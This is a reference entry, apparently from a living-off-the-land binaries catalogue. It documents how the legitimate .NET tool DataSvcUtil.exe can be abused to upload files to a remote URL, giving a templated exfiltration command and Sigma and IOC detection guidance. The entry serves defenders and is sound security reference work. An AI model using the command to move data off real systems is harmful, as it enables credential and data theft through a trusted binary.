DataSvcUtil.exe
DataSvcUtil.exe is a command-line tool provided by WCF Data Services that consumes an Open Data Protocol (OData) feed and generates the client data service classes that are needed to access a data service from a .NET Framework client application.
Full path
C:\Windows\Microsoft.NET\Framework64\v3.5\DataSvcUtil.exeCommands
Upload file
DataSvcUtil /out:{PATH_ABSOLUTE} /uri:{REMOTEURL}Upload file, credentials or data exfiltration in general
os: Windows 10
Detection
- Sigma https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_lolbin_data_exfiltration_by_using_datasvcutil.yml
- IOCThe DataSvcUtil.exe tool is installed in the .NET Framework directory.
- IOCPreventing/Detecting DataSvcUtil with non-RFC1918 addresses by Network IPS/IDS.
- IOCMonitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching DataSvcUtil.
Code samples
Resources
- https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/wcf-data-service-client-utility-datasvcutil-exe
- https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/generating-the-data-service-client-library-wcf-data-services
- https://docs.microsoft.com/en-us/dotnet/framework/data/wcf/how-to-add-a-data-service-reference-wcf-data-services
acknowledgement: Ialle Teixeira @NtSetDefault